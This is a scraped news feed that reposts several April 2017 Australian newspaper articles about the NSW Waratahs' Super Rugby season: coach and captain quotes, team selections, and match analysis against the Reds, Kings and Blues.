JAMIE PANDARAMThe Daily Telegraph

THE Waratahs say they will not be mentally crippled by the winless record of Australian teams against Kiwi rivals when they host the Blues on Saturday.

In an unprecedently bad season, Australian sides are 0-15 against Kiwis in 2017.

But Tahs attack coach Chris Malone dismissed suggestions that the startling statistics would weigh on his players’ minds.

MORE: HOW GOLF BALLS CAN HELP TAHS TEE OFF ON BLUES

“I don’t think so, I think it’s more what you guys (media) write about and talk about more than we do,” Malone said.

“We only control what we can control, we’ve got great belief in our whole squad, in the guys who will go out and represent NSW on Saturday night.

“It’s about us playing the way we want to play, regardless of who it is we’re playing against.

“I don’t buy into all that (hoodoo) stuff, I know we’ve got the capability to win those games, that’s what we’ll be going out to do.”

While most fans who attended the Tahs’ last home game — an embarrassing loss to the Kings — won’t be interested in returning, Malone is hoping for a big turnout at Allianz Stadium as they attempt to make a push for a finals place after beating the Reds 29-26 last weekend.

“I’d love to see a nice big crowd turn up because it’s a real opportunity for us to play again in front of our own fans and hopefully they’ve seen it’s a team that fights and has a lot of pride,” he said.

“We want to go out there and show them that on the weekend.”

And this match shapes to be an attacking thriller as both sides chase bonus-point wins.

Blues coach Tana Umaga said his side has no choice given they’re fifth in the New Zealand conference.

“We’ve put ourselves into this position and it’s only ourselves that can get us out, if it means we have to keep chasing those bonus points then that’s something we have to do,” Umaga said.

Malone said his side also plans to score plenty of tries.

“It’s the NSW way, we want to play rugby, we want to play with the ball in hand,” Malone said.

“The big thing from us (against Queensland) was to instil the belief in the boys to go and play the way we want to play the game.

“People listen to external things and can shy away a little. The pleasing thing was the boys stuck solid and did what they wanted to do.

“We believe in what we’re doing, we believe in the players we have to be able to execute the way we want to play.”

Originally published as Winless record won’t cripple Tahs

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]]> https://briefnews.eu/winless-record-wont-cripple-tahs/feed/ 0 Reds v Tahs: four things we learned https://briefnews.eu/reds-v-tahs-four-things-we-learned/ https://briefnews.eu/reds-v-tahs-four-things-we-learned/#respond Sun, 30 Apr 2017 20:30:04 +0000 http://briefnews.eu/reds-v-tahs-four-things-we-learned/

Hooper’s timely Tahs try0:39

Super Rugby: Michael Hooper scored an important first-half try against the Reds.

  • April 29th 2017
  • a day ago
  • /video/video.news.com.au/Sport/Rugby Union/Super 15/

Michael Hooper was pivotal in the Waratahs’ gutsy win over Queensland Reds.

The Courier-Mail

Four things we learned from the NSW Waratahs’ interstate win over Queensland Reds at Suncorp Stadium.

1 SUPER HOOPER

A supreme display by man of the match Michael Hooper. His tackle and turnover skills at vital moments and his carving run to the tryline on a great set play were decisive.

ALL IN THE HEAD: Shrink inspired Tahs to victory

MATCH REPORT: Foley sinks Reds to keep Tahs season alive

Just as important was his absolute desire to run NSW out of their quarter three times on smart exit plays when the Queenslanders were rubbish with theirs. Hooper’s quality was only amplified by an excellent contest with George Smith, who pilfered, made cover defending saves and hit David Horwitz with a thundering front-on tackle.

Michael Hooper’s desire and match smarts drove the Tahs on to victory.

Michael Hooper’s desire and match smarts drove the Tahs on to victory.Source:AAP

2 FOLEY OUTPOINTS COOPER

When the match had to be squeezed, Bernard Foley had the answers with better game control over the final 25 minutes. It was a riveting duel with big plays matched by the other. After a Quade Cooper inside ball set up the Reds second try an even better intercept and left-foot dab created the Izaia Perese touchdown. Foley’s response … the slick ball for the Hooper set play try.

Foley is still secure as the Wallabies main man at No. 10.

Bernard Foley barely put a foot wrong in his battle with Quade Cooper.

Bernard Foley barely put a foot wrong in his battle with Quade Cooper.Source:Getty Images

3 CROWD FERVOUR

The Suncorp Stadium numbers measured only 18,781 but they made a din like twice that number. It was uplifting to see the fans magnetised by the meaning thrown at the interstate game by both teams. Why there is only one Queensland-NSW game this year is a major fail from Super Rugby which will be fixed by the extra derbies in next year’s 15-team format.

4 KICKING FAIL

It’s been said before but the Reds are tactically awful at times with their kicking. We mean the poor James Tuttle box kicks, Quade Cooper hoofing popgun balls down Israel Folau’s throat, Duncan Paia’aua being charged down and a final misfire from Nick Frisby.

Originally published as Reds v Tahs: four things we learned

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]]> https://briefnews.eu/reds-v-tahs-four-things-we-learned/feed/ 0 Tahs shake things up after Kings loss https://briefnews.eu/tahs-shake-things-up-after-kings-loss/ https://briefnews.eu/tahs-shake-things-up-after-kings-loss/#respond Thu, 27 Apr 2017 03:57:55 +0000 http://briefnews.eu/tahs-shake-things-up-after-kings-loss/

Waratahs suffer shock loss to Kings1:01

Super Rugby: Waratahs suffer shock loss to Kings.

  • April 22nd 2017
  • 5 days ago
  • /video/video.news.com.au/Sport/Rugby Union/Super 15/

Nick Phipps shares a laugh with Bernard Foley during the Waratahs training session. Picture: Gregg Porteous

IAIN PAYTENThe Daily Telegraph

HAVING boiled down their humiliating Kings’ defeat to a lack of “urgency”, the Waratahs have recalled ultra-passionate halfback Nick Phipps for their clash against the Reds in Brisbane on Saturday night.

Phipps was one of four changes to the NSW starting line-up in the wake of the Tahs’ shock loss to the lowly Kings, with Test forwards Dean Mumm and Sekope Kepu also returning to the run-on team.

Mumm replaces Will Skelton at lock and Kepu returns from suspension in the front row, although the engine room will be without in-form hooker Tolu Latu, who succumbed to a shoulder injury. His place will be taken by Hugh Roach, who has a big job against Wallaby skipper Stephen Moore, who is returning for the Reds.

Irae Simone has also come back on the NSW bench.

Nick Phipps shares a laugh with Bernard Foley during the Waratahs training session. Picture: Gregg Porteous

Nick Phipps shares a laugh with Bernard Foley during the Waratahs training session. Picture: Gregg PorteousSource:News Corp Australia

After being benched for two games, Phipps’ return in the no. 9 shirt comes at the expense of Jake Gordon, who has been “rotated” out of the 23 altogether; with Matt Lucas on the bench as reserve halfback. Coach Daryl Gibson said Gordon’s omission was not due to form.

“I’m really happy for Nick. No-one was angrier (than him) when he missed ​out on a couple of opportunities to start,” Waratahs captain Michael Hooper said.

“I have been really happy with the energy he brought on the bench and now coming back into the team, he’s been fantastic. It’s a credit to his work ethic and attitude. He was fantastic against the Reds last year. He loves playing and loves starting against the Reds each time he gets the opportunity. Now he just needs to deliver for the team.”

Hooper said the team had endured a “long weekend” and a tough week’s training after losing to the Kings.

The Waratahs were poor in a number of areas but asked to nominate the main problem thrown up by a review of the game, Hooper said: “The urgency was the biggest factor.”

Rob Horne of the Waratahs is tackled by Nicolaas Hanekom of the Kings.

Rob Horne of the Waratahs is tackled by Nicolaas Hanekom of the Kings.Source:Getty Images

“We had a good start but just in the enthusiasm we saw from the Kings, they out-enthused us and their urgency was much better,” he said.

“That’s how you turn 50-50 balls into your own, it’s urgency and a want to get there. I don’t think we had that on the weekend and you saw such negativity and frustration and a real down, sour feeling after the game, because we didn’t show that. That’s something we prided ourselves on in the last couple of years.”

Hooper said the team had soaked up the criticism levelled at them this week but said he was confident they could respond at Suncorp Stadium.

“In positions where we have been down and out, we have been able to come out swinging,” Hooper said.

Waratahs backs coach Chris Malone said the Tahs had to rediscover their self-confidence by expressing themselves against the Reds.

“A big part of us is finding the belief we are a good team,” he said.

Waratah players look dejected at fulltime during the round nine Super Rugby match between the Waratahs and the Kings at Allianz Stadium.

Waratah players look dejected at fulltime during the round nine Super Rugby match between the Waratahs and the Kings at Allianz Stadium.Source:Getty Images

“We showed that and almost ran down the Canes. We have had patches performances but it’s putting it together for 80.

“You hold onto the ball, you don’t give away penalties, you ensure also that we are being true to ourselves and playing footy.

“A little bit of lack of belief or a couple of balls go on the ground, it is not a reason to go into your shell. We want to emphasise to the boys this week that we have some talented footballers in this team. Go and display it. Don’t feel the pressure of “oh, we have to win” because that just leads to constricting yourself.”

1. Tom Robertson, 2. Hugh Roach, 3. Sekope Kepu, 4. David McDuling, 5. Dean Mumm, 6. Ned Hanigan, 7. Michael Hooper, 8. Michael Wells, 9. Nick Phipps, 10. Bernard Foley, 11. Cam Clark, 12. David Horwitz, 13. Rob Horne, 14. Taqele Naiyaravoro, 15. Israel Folau. Reserves: 16. Damien Fitzpatrick, 17. Paddy Ryan, 18. Angus Taavao, 19. Will Skelton, 20. Jed Holloway, 21. Matt Lucas, 22. Irae Simone, 23. Bryce Hegarty.

Originally published as Tahs shake things up after Kings loss

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]]> https://briefnews.eu/tahs-shake-things-up-after-kings-loss/feed/ 0 Super start key to reigniting Tahs season https://briefnews.eu/super-start-key-to-reigniting-tahs-season/ https://briefnews.eu/super-start-key-to-reigniting-tahs-season/#respond Thu, 20 Apr 2017 06:50:49 +0000 http://briefnews.eu/super-start-key-to-reigniting-tahs-season/

Payto & Panda: Waratahs season on the line5:04

Iain Payten and Jamie Pandaram discuss Waratahs season on the line

  • April 20th 2017
  • 25 minutes ago
  • /video/video.news.com.au/Sport/

Michael Hooper says a fast start against the Kings is key to sparking the waratahs season.

Jamie PandaramThe Daily Telegraph

AFTER a season so far defined by slow starts, the Waratahs hope to blitz the Southern Kings with helter-skelter rugby to reignite their Super Rugby finals hopes.

NSW captain Michael Hooper says it is now or never for the Tahs to build a run of wins that can see them top the Australian conference for a guaranteed finals spot, having won just two of seven games so far.

“We’ve got to make a run for it to be a real threat in this competition,” Hooper said.

“We finished the year second (on the ladder) in 2015 with five losses and we’re on that mark now, so it’s really time to start kicking into gear.”

Two years ago NSW finished 11-5 in the regular season before they were beaten by eventual champions the Highlanders in the semi-finals.

SURVIVAL: Waratahs scalp worth a king’s ransom

Last year, the lowest points-tallying finalists in the tournament, the Brumbies and Sharks, each lost five games.

So history suggests that NSW cannot afford to lose another game, particularly with the Brumbies nine points ahead with the same number of games played, and the New Zealand conference boasting four of their five teams in the top eight.

One element the Tahs must fix to put a run of wins together is their starts to games, so far woeful in 2017.

They gave up big halftime margins to the Lions, Sharks, Melbourne Rebels, Crusaders, and Hurricanes, making unsuccessful second half comebacks in all except the Rebels match when they scored on the bell to win.

Michael Hooper says a fast start against the Kings is key to sparking the waratahs season.

Michael Hooper says a fast start against the Kings is key to sparking the waratahs season.Source:Getty Images

“It’s been tough going so far this season in our starts to the year,” Hooper said.

“We don’t want a tough start [on Friday night], we want to put the Kings under pressure and make them start playing that loose, more risky rugby.”

The Kings hardly bring defensive starch to this fixture; they’ve conceded an average 37 points a game this season, and have leaked 93 points in their past two games on tour in Australia.

But Hooper wants his troops to remain wary.

“Last week they put three tries on in 10 or 12 minutes [against Queensland],” Hooper said.

“Potentially, if they’d gotten (another) try last week, they had the chance to win the game.

“So we’re fully aware of the threats that they bring, and they bring them for 80 minutes. They’re a team that’s got nothing to lose.

“They’ve been told they’re out of the competition going forward so they’ve got everything to play for and what to show everyone (SANZAAR and SARU) have made a mistake.”

Originally published as Super start key to reigniting Tahs season

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]]> https://briefnews.eu/super-start-key-to-reigniting-tahs-season/feed/ 0 Predicting Tahs’ downfall in Quade’s vision https://briefnews.eu/predicting-tahs-downfall-in-quades-vision/ https://briefnews.eu/predicting-tahs-downfall-in-quades-vision/#respond Sun, 16 Apr 2017 10:20:16 +0000 http://briefnews.eu/predicting-tahs-downfall-in-quades-vision/

tage Quade2:16

Super Rugby: Quade Cooper has set up two tries in the only way he knows how, brilliant playmaking and risky chip kicking.

  • April 15th 2017
  • a day ago
  • /video/video.news.com.au/Sport/Rugby Union/Super 15/

Karmichael Hunt celebrates scoring.

QUADE Cooper’s most decisive plays of the season have primed the Reds for a drought-breaking crack at the NSW Waratahs if defensive failings can be fixed.

Snapping a damning six-game losing streak in matches against Queensland’s oldest foe on April 29 at Suncorp Stadium is a necessity.

For Reds boss Nick Stiles, the maths are simple.

Topple the Waratahs for back-to-back wins, grab an overdue success in an Australian Conference game and rev the engine for a late-season rally.

Quade Cooper was in vintage touch against the Kings.

Quade Cooper was in vintage touch against the Kings.Source:AAP

“It’s baffling to me but we just hadn’t fronted up for the interstate game for a number of years until we had a real good crack in that narrow loss a year ago (15-13),” Stiles said.

“We’ve got to beat NSW. It’s as simple as that and it was pretty much the message I left the team with in the dressing room after the win over the Kings (47-34).

“If you look at the Reds’ run in the finals (2011-13), Ewen McKenzie used victory over the Waratahs as a big driver to get those campaigns going.”

McKenzie coached five straight wins over the Waratahs to help nourish a golden period before the rot of losses set in.

Flyhalf Cooper’s polish as a playmaker was encapsulated by the clever crafting of three tries in seven minutes to kill off South Africa’s Kings last Saturday at Suncorp Stadium.

His 30m crossfield kick-pass to Karmichael Hunt to set up a 60m try for Izaia Perese did full justice to the trick first pulled by Paul McLean and Brendan Moon in the 1970s.

Kings left Red-faced2:03

NRL: The Queensland Reds made short work of the Kings at Suncorp Stadium.

  • April 15th 2017
  • a day ago
  • /video/video.news.com.au/Sport/Rugby Union/Super 15/

It’s telling that in Cooper’s five-and-half games this season, the Reds have produced 16 tries and he has helped unlock winger Eto Nabuli for six.

The try-power shrunk to four tries in three games when fill-in Jake McIntyre was steering the show although he aided in two more against the Lions after Cooper was sent off.

“It did make a difference having Quade with the zippiness to his pass, his vision and his probing left and right,” Stiles said.

“That’s a play from his heyday when he’s putting in crossfield kicks and we’re running 80m to score a try.”

Stiles said the victory over the Kings was a huge tonic to take into a regenerating bye week but forecast plenty of hard work for the Waratahs clash.

Karmichael Hunt celebrates scoring.

Karmichael Hunt celebrates scoring.Source:AAP

“We have some work to tidy up our defence and the speed of the Kings out wide did expose some poor spacing because we crowding defenders close to the ruck,” Stiles said.

Karmichael Hunt’s zeal to lead up the defensive line from the centres is excellent but the Reds are striking problems with passive line speed when he’s not there.

Getting more from the bench is still a problem although late replacement Hamish Stewart produced two superb tackles back-to-back to save a try.

Stiles singled out rookie hooker Alex Mafi for an excellent first 40 minutes in his first run-on role.

“He was as nervous as any player I’ve seen pre-game but I thought he was excellent with the way he led a dominant scrum and showed his athleticism and footwork,” Stiles said.

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